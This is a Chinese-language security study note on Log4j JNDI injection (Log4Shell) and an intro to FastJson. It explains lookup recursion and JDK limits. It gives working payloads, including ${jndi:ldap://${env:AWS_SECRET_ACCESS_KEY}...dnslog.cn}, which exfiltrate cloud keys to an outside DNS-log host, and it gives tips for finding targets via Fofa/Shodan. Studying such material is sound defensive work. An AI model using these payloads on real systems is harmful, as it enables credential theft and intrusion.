JNDI&log4j&fastjson
Java-第三方组件-Log4J&JNDI
Log4j简介
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
Log4j就是一个Java的第三方组件,用来对日志进行处理,如果项目有日志需求,就有可能用到Log4j。
历史漏洞:https://avd.aliyun.com/search?q=Log4j
源码分析
源码分析的时候可以发现 substitute 函数是循环嵌套解析的。例如payload为${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
,那么log4j2 就会先取出 ${}
中的内容变为 jndi:ldap://${java:version}.u2xf5m.dnslog.cn
然后再通过正则匹配 ${
和 }
如果还存在又会调用 this.substitute
来进行重新处理,然后就会对 java:version
进行处理,截取冒号前的字符串,然后从 strlookups
中获取对应的 Lookup
,并调用其 lookup
方法
大致流程如下:
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
=> jndi:ldap://${java:version}.u2xf5m.dnslog.cn
=> ${java:version} => java:version => Java version 1.8.0_20
=> jndi:ldap://Java version 1.8.0_20.u2xf5m.dnslog.cn
=> DNS Query Record :Java version 1.8.0_20.u2xf5m.dnslog.cn (dnslog 收到结果)
Lookup
这块可以结合一下官方文档及一个项目:https://logging.apache.org/log4j/2.x/manual/lookups.html、https://github.com/jas502n/Log4j2-CVE-2021-44228
在官方文档中介绍了各种不同类型的 Lookup ,下面简单列几个
ENV
可以通过 env 来获取环境变量中的一些信息
${jndi:ldap://${env:USER}.d0j226.dnslog.cn}
获取一些云主机的 Key
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.d0j226.dnslog.cn}
Java
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
由于 JNDI 注入高版本默认 codebase 为 true 所以可以通过这个方法来获取 jdk 版本从而选择不同的攻击方式
JNDI 注入简介
简单说,JNDI 就是一个 Java 自带的 API,可以实现远程打印、远程调用文件等。
下图中 JNDI 的下面有 LDAP 和 RMI 两个协议,这两个协议是在 JNDI 注入过程中经常用到的,可以实现远程调用执行 Java class 文件。
LDAP 是一种用于访问和维护分布式目录服务信息的协议,广泛用于身份认证、访问控制和共享资源等领域。RMI是一种允许在分布式系统中进行远程方法调用的协议。
触发JNDI 注入的原因:
- 开发源码中引用漏洞组件(如 Log4j),使用了组件里可能会触发漏洞的代码(如 log.error),并且有可控变量存在
判断注入点思路:
- Fofa、Shodan关键字搜 Log4j、根据返回包内容有无 Log4j 相关信息、页面报错信息等方式去判断对方有没有引用 Log4j
- 通过 DNSLog 测试有无回连,比如构造 POC 为
${jndi:ldap://xxx.dns.log}
去测试注入点
官方针对不同 JDK 版本做出了一些限制,也就是说,高版本的 JDK 会影响 JNDI 注入(RMI、LDAP),具体如下:
JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
RMI: JDK 6u132/7u122/8u113
LDAP: JDK 11.0.1/8u191/7u201/6u211
不回显处理办法
- 直接将执行结果写入到静态资源文件里,如 HTML、JavaScript 等,然后访问
- 通过 DNSLog 进行数据外带,但如果无法执行 DNS 请求就无法验证了
- 接将命令执行结果回显到 HTTP 响应中
- 构造报错(
${jndi:ldap://x.x.x.x:${java:version}/xxx}
)
Java-第三方组件-FastJson&反射
FastJson 简介
FastJson 就是一个阿里巴巴开发的用做 Json 数据格式转换的 Java 第三方组件。在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
Java 其实是有原生 Json 数据格式转换的,但由于 FastJson 速度更快,效率更高,所以被广泛使用。
历史漏洞:https://avd.aliyun.com/search?q=fastjson
参考文档:
https://blog.csdn.net/qq_46081990/article/details/135082769